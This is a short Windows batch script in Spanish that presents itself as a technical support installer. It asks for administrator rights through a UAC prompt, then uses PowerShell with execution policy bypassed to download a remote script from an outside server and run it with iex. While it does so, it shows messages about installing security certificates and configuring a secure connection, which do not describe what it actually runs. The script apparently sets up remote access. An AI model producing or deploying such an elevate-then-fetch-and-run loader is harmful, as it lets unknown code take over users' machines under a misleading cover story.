@echo off
setlocal
title Instalador de Soporte Tecnico
color 0b

:: 1. Verificacion de privilegios y solicitud automatica de Admin
net session >nul 2>&1
if %errorLevel% neq 0 (
    echo =====================================================
    echo   SOLICITANDO PERMISOS DE ADMINISTRADOR...
    echo =====================================================
    echo.
    echo Por favor, haga clic en "SI" en la ventana de Windows
    echo para poder configurar el acceso remoto.
    echo.
    powershell -Command "Start-Process -FilePath '%0' -Verb RunAs"
    exit /b
)

:: 2. Ejecucion del Script Maestro desde tu servidor
echo =====================================================
echo   CONFIGURANDO CONEXION SEGURA - POR FAVOR ESPERE
echo =====================================================
echo.
echo [+] Instalando certificados de seguridad...
echo [+] Configurando agente de soporte...

:: Este comando llama a tu script de PowerShell alojado en la web
powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://silvestro.com.ar/setup.ps1'))"

echo.
echo =====================================================
echo   PROCESO FINALIZADO EXITOSAMENTE
echo =====================================================
echo Puede cerrar esta ventana.
pause > nul
exit

